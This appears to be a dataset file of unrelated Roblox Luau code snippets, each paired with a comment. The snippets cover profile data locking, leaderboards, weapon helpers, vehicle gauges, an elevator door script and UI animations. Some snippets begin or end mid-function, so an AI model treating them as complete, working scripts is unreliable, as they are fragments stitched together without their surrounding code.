if type(update_id) ~= "number" then
error("[ProfileService]: Invalid update_id")
end
local profile = self._profile
if self._update_handler_mode == true then
error("[ProfileService]: Can't lock active global updates in ProfileStore:GlobalUpdateProfileAsync()")
elseif self._pending_update_lock == nil then
error("[ProfileService]: Can't lock active global updates in view mode")
elseif profile:IsActive() == false then -- Check if profile is expired
error("[ProfileService]: PROFILE EXPIRED - Can't lock active global updates")
end
-- Check if global update exists with given update_id
local global_update_exists = nil
for _, global_update in ipairs(self._updates_latest[2]) do
if global_update[1] == update_id then
global_update_exists = global_update
break
end
end
if global_update_exists ~= nil then
local is_pending_lock = false
for _, lock_update_id in ipairs(self._pending_update_lock) do
if update_id == lock_update_id then
is_pending_lock = true -- Exclude global updates pending to be locked
break
end
end
if is_pending_lock == false and global_update_exists[3] == false then -- Avoid id duplicates in _pending_update_lock
table.insert(self._pending_update_lock, update_id)
end
else
error("[ProfileService]: Passed non-existant update_id")
end
end
function GlobalUpdates:ClearLockedUpdate(update_id)
if type(update_id) ~= "number" then
error("[ProfileService]: Invalid update_id")
end
local profile = self._profile
if self._update_handler_mode == true then
error("[ProfileService]: Can't clear locked global updates in ProfileStore:GlobalUpdateProfileAsync()")
elseif self._pending_update_clear == nil then
error("[ProfileService]: Can't clear locked global updates in view mode")
elseif profile:IsActive() == false then -- Check if profile is expired
error("[ProfileService]: PROFILE EXPIRED - Can't clear locked global updates")
end
-- Check if global update exists with given update_id
local global_update_exists = nil
for _, global_update in ipairs(self._updates_latest[2]) do
if global_update[1] == update_id then
global_update_exists = global_update
break
end
end
if global_update_exists ~= nil then
local is_pending_clear = false
for _, clear_update_id in ipairs(self._pending_update_clear) do
if update_id == clear_update_id then
is_pending_clear = true -- Exclude global updates pending to be cleared
break
end
end
if is_pending_clear == false and global_update_exists[3] == true then -- Avoid id duplicates in _pending_update_clear
table.insert(self._pending_update_clear, update_id)
end
else
error("[ProfileService]: Passed non-existant update_id")
end
end
|
--What happens when player joins a server
|
game.Players.PlayerAdded:Connect(function(player)--here player means the player who will join the game
local leaderstats= Instance.new("Folder")-- This will create a folder when player joins
leaderstats.Name= ("leaderstats")
leaderstats.Parent= player
--now currency
local cash= Instance.new("IntValue")
cash.Name= ("Cash")-- change ("Cash") to any word u want, but the brackets and commas
cash.Parent = leaderstats
cash.Value = 500 --change the ammount of money u want to give player
end)
|
--Made by Luckymaxer
|
Debris = game:GetService("Debris")
ProjectileNames = {"Water", "Arrow", "Projectile", "Effect", "Rail", "Laser", "Ray", "Bullet", "ParticlePart"}
Functions = {
CreateConfiguration = (function(Configurations, Table)
for i, v in pairs(Configurations:GetChildren()) do
if string.find(v.ClassName, "Value") then
Table[v.Name] = v:Clone()
elseif v:IsA("Folder") or v:IsA("Configuration") then
Table[v.Name] = Functions.CreateConfiguration(v, Table)
end
end
return Table
end),
FindCharacterAncestor = (function(Object)
if Object and Object ~= game:GetService("Workspace") then
local Humanoid = Object:FindFirstChild("Humanoid")
if Humanoid then
return Object, Humanoid
else
return Functions.FindCharacterAncestor(Object.Parent)
end
end
return nil
end),
CheckTableForString = (function(Table, String)
for i, v in pairs(Table) do
if string.lower(v) == string.lower(String) then
return true
end
end
return false
end),
CheckIntangible = (function(Hit)
if Hit and Hit.Parent then
if Functions.CheckTableForString(ProjectileNames, Hit.Name) then
return true
end
local ObjectParent = Hit.Parent
local Character = ObjectParent.Parent
local Humanoid = Character:FindFirstChild("Humanoid")
if Humanoid and Humanoid.Health > 0 and ObjectParent:IsA("Hat") then
return true
end
end
return false
end),
CastRay = (function(StartPos, Vec, Length, Ignore, DelayIfHit)
local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore)
if RayHit and Functions.CheckIntangible(RayHit) then
if DelayIfHit then
task.wait()
end
RayHit, RayPos, RayNormal = Functions.CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit)
end
return RayHit, RayPos, RayNormal
end),
IsTeamMate = (function(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end),
TagHumanoid = (function(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end),
UntagHumanoid = (function(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end),
CheckTableForString = (function(Table, String)
for i, v in pairs(Table) do
if string.lower(v) == string.lower(String) then
return true
end
end
return false
end),
Clamp = (function(Number, Min, Max)
return math.max(math.min(Max, Number), Min)
end),
GetPercentage = (function(Start, End, Number)
return (((Number - Start) / (End - Start)) * 100)
end),
Round = (function(Number, RoundDecimal)
local WholeNumber, Decimal = math.modf(Number)
return ((Decimal >= RoundDecimal and math.ceil(Number)) or (Decimal < RoundDecimal and math.floor(Number)))
end),
}
return Functions
|
--[[**
ensures Roblox Color3 type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.Color3 = primitive("Color3")
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = -0
Tune.RCamber = -0
Tune.FToe = 0
Tune.RToe = 0
|
--[=[
@interface Middleware
.Inbound ServerMiddleware?
.Outbound ServerMiddleware?
@within KnitServer
]=]
|
type Middleware = {
Inbound: ServerMiddleware?,
Outbound: ServerMiddleware?,
}
|
-----------------------
--| Local Functions |--
-----------------------
|
local math_abs = math.abs
local function OnCameraChanged(property)
if property == 'CameraSubject' then
VehicleParts = {}
local newSubject = Camera.CameraSubject
if newSubject then
-- Determine if we should be popping at all
PopperEnabled = false
for _, subjectType in pairs(VALID_SUBJECTS) do
if newSubject:IsA(subjectType) then
PopperEnabled = true
break
end
end
-- Get all parts of the vehicle the player is controlling
if newSubject:IsA('VehicleSeat') then
VehicleParts = newSubject:GetConnectedParts(true)
end
if FFlagUserPortraitPopperFix then
if newSubject:IsA("BasePart") then
SubjectPart = newSubject
elseif newSubject:IsA("Model") then
SubjectPart = newSubject.PrimaryPart
elseif newSubject:IsA("Humanoid") then
SubjectPart = newSubject.Torso
end
end
end
end
end
local function OnCharacterAdded(player, character)
PlayerCharacters[player] = character
end
local function OnPlayersChildAdded(child)
if child:IsA('Player') then
child.CharacterAdded:connect(function(character)
OnCharacterAdded(child, character)
end)
if child.Character then
OnCharacterAdded(child, child.Character)
end
end
end
local function OnPlayersChildRemoved(child)
if child:IsA('Player') then
PlayerCharacters[child] = nil
end
end
local function OnWorkspaceChanged(property)
if property == 'CurrentCamera' then
local newCamera = workspace.CurrentCamera
if newCamera then
Camera = newCamera
if CameraChangeConn then
CameraChangeConn:disconnect()
end
CameraChangeConn = Camera.Changed:connect(OnCameraChanged)
OnCameraChanged('CameraSubject')
end
end
end
|
-- (Hat Giver Script - Loaded.)
|
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Future Bandit"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(2,2,2)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0, -.3, 0)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
--// All global vars will be wiped/replaced except script
|
return function(data)
local gui = script.Parent.Parent--client.UI.Prepare(script.Parent.Parent)
local frame = gui.Frame
local frame2 = frame.Frame
local msg = frame2.Message
local ttl = frame2.Title
local gIndex = data.gIndex
local gTable = data.gTable
local title = data.Title
local message = data.Message
local scroll = data.Scroll
local tim = data.Time
local gone = false
if not data.Message or not data.Title then gTable:Destroy() end
ttl.Text = ""
msg.Text = ""
local function fadeIn()
gTable:Ready()
frame.Notify:Play()
local Tween = game:GetService("TweenService"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Bounce,Enum.EasingDirection.Out),{Position=UDim2.new(0.5,0,0.5,-18)})
Tween:Play()
Tween.Completed:Wait()
ttl.Text = title
local Tween = game:GetService("TweenService"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut),{Size=UDim2.new(0,350,0,150)})
Tween:Play()
Tween.Completed:Wait()
game:GetService("TweenService"):Create(ttl,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),{Position=UDim2.new(0,10,0,10)}):Play()
for i = 1,#message,1 do
msg.Text = message:sub(1,i)
game:GetService("RunService").Heartbeat:wait()
end
end
local function fadeOut()
if not gone then
gone = true
game:GetService("TweenService"):Create(ttl,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.In),{Position=UDim2.new(0,10,0,-20)}):Play()
for i = #tostring(message),1,-1 do
msg.Text = message:sub(1,i)
game:GetService("RunService").Heartbeat:wait()
end
msg.Text = ""
local Tween = game:GetService("TweenService"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut),{Size=UDim2.new(0,64,0,64)})
Tween:Play()
Tween.Completed:Wait()
local Tween = game:GetService("TweenService"):Create(frame,TweenInfo.new(0.5,Enum.EasingStyle.Bounce,Enum.EasingDirection.Out),{Position=UDim2.new(0.5,0,0,-100)})
Tween:Play()
Tween.Completed:Wait()
service.UnWrap(gui):Destroy()
end
end
gTable.CustomDestroy = function()
fadeOut()
end
fadeIn()
wait(tim or 5)
if not gone then
fadeOut()
end
end
|
-- ================================================================================
-- LOCAL FUNCTIONS
-- ================================================================================
|
local function BoostSetup(callback)
local Speedometer = gui:WaitForChild("Speedometer")
local Bar = Speedometer:WaitForChild("Bar")
local SpeedBar = Bar:WaitForChild("SpeedBar")
BoostButton.InputBegan:Connect(function()
callback(true)
end)
BoostButton.InputEnded:Connect(function()
callback(false)
end)
function GuiController:UpdateBoost(boostAmount)
local boostPercentage = math.clamp(boostAmount/engine._settings.BoostAmount, 0, 1)
Bar.Position = UDim2.new(-1 + boostPercentage, 0, 0, 0)
SpeedBar.Position = UDim2.new(1 - 1*boostPercentage, 0, 0, 0)
end
end -- BoostSetup()
|
--[[
Shorthand for an andThen handler that returns the given value.
]]
|
function Promise.prototype:andThenReturn(...)
local length, values = pack(...)
return self:_andThen(debug.traceback(nil, 2), function()
return unpack(values, 1, length)
end)
end
|
-- Provide a count of the number of UI components in the tool
-- (this allows the client-side code to begin when all expected
-- components have loaded/replicated)
|
UIComponentCountValue.Value = #_getAllDescendants( Interfaces );
|
----------------------------------------------------------------------------------------------------
-----------------=[ General ]=----------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
TeamKill = true --- Enable TeamKill?
,TeamDmgMult = 1 --- Between 0-1 | This will make you cause less damage if you hit your teammate
,ReplicatedBullets = true --- Keep in mind that some bullets will pass through surfaces...
,AntiBunnyHop = true --- Enable anti bunny hop system?
,JumpCoolDown = 1.5 --- Seconds before you can jump again
,JumpPower = 50 --- Jump power, default is 50
,RealisticLaser = true --- True = Laser line is invisible
,ReplicatedLaser = true
,ReplicatedFlashlight = true
,EnableRagdoll = true --- Enable ragdoll death?
,TeamTags = true --- Aaaaaaa
,HitmarkerSound = false --- GGWP MLG 360 NO SCOPE xD
,Crosshair = false --- Crosshair for Hipfire shooters and arcade modes
,CrosshairOffset = 5 --- Crosshair size offset
|
-------------------------
|
HUB2.Modes.M.Text = carSeat.AWD.Value and "AWD" or "RWD"
HUB2.Modes.MouseButton1Click:connect(function()
carSeat.AWD.Value = not carSeat.AWD.Value
HUB2.Modes.M.Text = carSeat.AWD.Value and "AWD" or "RWD"
end)
while wait(.5) do
handler:FireServer('updateSpeed')
end
|
-- Return lines unindented by heuristic;
-- otherwise return null because:
-- * props include a multiline string
-- * text has more than one adjacent line
-- * markup does not close
|
function dedentLines(input: Array<string>): Array<string> | nil
local output: Array<string> = {}
while #output < #input do
local line = input[#output + 1]
if hasUnmatchedDoubleQuoteMarks(line) then
return nil
elseif isFirstLineOfTag(line) then
if not dedentMarkup(input, output) then
return nil
end
else
table.insert(output, dedentLine(line))
end
end
return output
end
return dedentLines
|
--[=[
Syncs the value from `from` to `to`.
@param from ValueObject<T>
@param to ValueObject<T>
@return MaidTask
]=]
|
function ValueObjectUtils.syncValue(from, to)
local maid = Maid.new()
to.Value = from.Value
maid:GiveTask(from.Changed:Connect(function()
to.Value = from.Value
end))
return maid
end
|
--Possible Boolean Values on Top--
|
script.Parent.ProximityPrompt.Triggered:Connect(function()
script.Parent.Sound:Play() --actual function--
end)
|
-- Make the Inventory, which holds the ScrollingFrame, the header, and the search box
|
InventoryFrame = NewGui('Frame', 'Inventory')
InventoryFrame.BackgroundTransparency = BACKGROUND_FADE
InventoryFrame.BackgroundColor3 = BACKGROUND_COLOR
InventoryFrame.Active = true
InventoryFrame.Visible = false
InventoryFrame.Parent = MainFrame
VRInventorySelector = NewGui('TextButton', 'VRInventorySelector')
VRInventorySelector.Position = UDim2.new(0, 0, 0, 0)
VRInventorySelector.Size = UDim2.new(1, 0, 1, 0)
VRInventorySelector.BackgroundTransparency = 1
VRInventorySelector.Text = ""
VRInventorySelector.Parent = InventoryFrame
local selectorImage = NewGui('ImageLabel', 'Selector')
selectorImage.Size = UDim2.new(1, 0, 1, 0)
selectorImage.Image = "rbxasset://textures/ui/Keyboard/key_selection_9slice.png"
selectorImage.ScaleType = Enum.ScaleType.Slice
selectorImage.SliceCenter = Rect.new(12,12,52,52)
selectorImage.Visible = false
VRInventorySelector.SelectionImageObject = selectorImage
VRInventorySelector.MouseButton1Click:Connect(function()
vrMoveSlotToInventory()
end)
|
--[=[
@param onFlush ({T}) -> nil
@return TaskQueue<T>
Constructs a new TaskQueue.
]=]
|
function TaskQueue.new<T>(onFlush: ({T}) -> nil)
local self = setmetatable({}, TaskQueue)
self._queue = {}
self._flushing = false
self._flushingScheduled = false
self._onFlush = onFlush
return self
end
|
--[[
Function called when leaving the state
]]
|
function ServerGame.onLeave(stateMachine, event, from, to)
for _, connection in pairs(connections) do
connection:Disconnect()
end
RoomManager.resetRooms()
end
return ServerGame
|
--[=[
@class PlayerUtils
]=]
|
local PlayerUtils = {}
|
-------------------------
|
function DoorClose()
if Shaft00.MetalDoor.CanCollide == false then
Shaft00.MetalDoor.CanCollide = true
while Shaft00.MetalDoor.Transparency > 0.0 do
Shaft00.MetalDoor.Transparency = Shaft00.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) --Change 10 to change the speed.
end
if Shaft01.MetalDoor.CanCollide == false then
Shaft01.MetalDoor.CanCollide = true
while Shaft01.MetalDoor.Transparency > 0.0 do
Shaft01.MetalDoor.Transparency = Shaft01.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft02.MetalDoor.CanCollide == false then
Shaft02.MetalDoor.CanCollide = true
while Shaft02.MetalDoor.Transparency > 0.0 do
Shaft02.MetalDoor.Transparency = Shaft02.MetalDoor.Transparency - .1
wait(0.000001)
end
end
if Shaft03.MetalDoor.CanCollide == false then
Shaft03.MetalDoor.CanCollide = true
while Shaft03.MetalDoor.Transparency > 0.0 do
Shaft03.MetalDoor.Transparency = Shaft03.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft04.MetalDoor.CanCollide == false then
Shaft04.MetalDoor.CanCollide = true
while Shaft04.MetalDoor.Transparency > 0.0 do
Shaft04.MetalDoor.Transparency = Shaft04.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft05.MetalDoor.CanCollide == false then
Shaft05.MetalDoor.CanCollide = true
while Shaft05.MetalDoor.Transparency > 0.0 do
Shaft05.MetalDoor.Transparency = Shaft05.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft06.MetalDoor.CanCollide == false then
Shaft06.MetalDoor.CanCollide = true
while Shaft06.MetalDoor.Transparency > 0.0 do
Shaft06.MetalDoor.Transparency = Shaft06.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft07.MetalDoor.CanCollide == false then
Shaft07.MetalDoor.CanCollide = true
while Shaft07.MetalDoor.Transparency > 0.0 do
Shaft07.MetalDoor.Transparency = Shaft07.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft08.MetalDoor.CanCollide == false then
Shaft08.MetalDoor.CanCollide = true
while Shaft08.MetalDoor.Transparency > 0.0 do
Shaft08.MetalDoor.Transparency = Shaft08.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft09.MetalDoor.CanCollide == false then
Shaft09.MetalDoor.CanCollide = true
while Shaft09.MetalDoor.Transparency > 0.0 do
Shaft09.MetalDoor.Transparency = Shaft09.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft10.MetalDoor.CanCollide == false then
Shaft10.MetalDoor.CanCollide = true
while Shaft10.MetalDoor.Transparency > 0.0 do
Shaft10.MetalDoor.Transparency = Shaft10.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft11.MetalDoor.CanCollide == false then
Shaft11.MetalDoor.CanCollide = true
while Shaft11.MetalDoor.Transparency > 0.0 do
Shaft11.MetalDoor.Transparency = Shaft11.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft12.MetalDoor.CanCollide == false then
Shaft12.MetalDoor.CanCollide = true
while Shaft12.MetalDoor.Transparency > 0.0 do
Shaft12.MetalDoor.Transparency = Shaft12.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft13.MetalDoor.CanCollide == false then
Shaft13.MetalDoor.CanCollide = true
while Shaft13.MetalDoor.Transparency > 0.0 do
Shaft13.MetalDoor.Transparency = Shaft13.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
end
function onClicked()
DoorClose()
end
script.Parent.MouseButton1Click:connect(onClicked)
script.Parent.MouseButton1Click:connect(function()
if clicker == true
then clicker = false
else
return
end
end)
script.Parent.MouseButton1Click:connect(function()
Car.Touched:connect(function(otherPart)
if otherPart == Elevator.Floors:FindFirstChild(script.Parent.Name)
then StopE() DoorOpen()
end
end)end)
function StopE()
Car.BodyVelocity.velocity = Vector3.new(0, 0, 0)
Car.BodyPosition.position = Elevator.Floors:FindFirstChild(script.Parent.Name).Position
clicker = true
end
function DoorOpen()
while Shaft02.MetalDoor.Transparency < 1.0 do
Shaft02.MetalDoor.Transparency = Shaft02.MetalDoor.Transparency + .1
wait(0.000001)
end
Shaft02.MetalDoor.CanCollide = false
end
|
-- Updating the leaderboard
|
while wait(1) do
-- Deletes everything until we make a frame
for _, plrFrame in pairs(playerListFrame.PlayerHolder:GetChildren()) do
if plrFrame:IsA("Frame") then
plrFrame:Destroy()
end
end
-- Making a frame for the player
for i, plr in pairs(game.Players:GetPlayers()) do
local template = script:WaitForChild("Template"):Clone()
template.Name = plr.Name
template.PlayerPicture.Image = game.Players:GetUserThumbnailAsync(plr.UserId,Enum.ThumbnailType.HeadShot,Enum.ThumbnailSize.Size420x420)
template.PlayerPicture.PlayerName.Text = plr.Name
template.Parent = playerListFrame.PlayerHolder
template.Position = UDim2.new(0.5,0,0.5,0)
end
if #game.Players:GetPlayers() >= 7 then
playerListFrame.PlayerHolder.CanvasSize = UDim2.new(0,0,1.05 + ((#game.Players:GetPlayers()-7) * .15),0)
else
playerListFrame.PlayerHolder.CanvasSize = UDim2.new(0,0,0,0)
end
end
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
local blns = Instance.new("Frame",gauges.Boost)
blns.Name = "blns"
blns.BackgroundTransparency = 1
blns.BorderSizePixel = 0
blns.Size = UDim2.new(0,0,0,0)
for i=0,12 do
local bln = gauges.bln:clone()
bln.Parent = blns
bln.Rotation = 45+270*(i/12)
if i%2==0 then
bln.Frame.Size = UDim2.new(0,2,0,7)
bln.Frame.Position = UDim2.new(0,-1,0,40)
else
bln.Frame.Size = UDim2.new(0,3,0,5)
end
bln.Num:Destroy()
bln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)
local _TCount = 0
if _Tune.Aspiration ~= "Natural" then
if _Tune.Aspiration == "Single" then
_TCount = 1
elseif _Tune.Aspiration == "Double" then
_TCount = 2
end
values.Boost.Changed:connect(function()
local boost = (math.floor(values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5)
gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,(values.Boost.Value/(_Tune.Boost)/_TCount))
gauges.PSI.Text = tostring(math.floor(boost).." PSI")
end)
else
gauges.Boost:Destroy()
end
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
elseif gearText >= 1 and script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then gearText = "D"
end
script.Parent.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
function PBrake()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end
script.Parent.Parent.Values.PBrake.Changed:connect(PBrake)
function Gear()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "Normal"
script.Parent.TMode.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TMode.TextStrokeColor3 = Color3.new(0,0,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "Sport"
script.Parent.TMode.TextColor3 = Color3.new(45/255, 200/255, 105/255)
script.Parent.TMode.TextStrokeColor3 = Color3.new(0,0,0)
else
script.Parent.TMode.Text = "Manual"
script.Parent.TMode.TextColor3 = Color3.new(1,.25,.25)
script.Parent.TMode.TextStrokeColor3 = Color3.new(0,0,0)
end
end
script.Parent.Parent.Values.TransmissionMode.Changed:connect(Gear)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation =45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
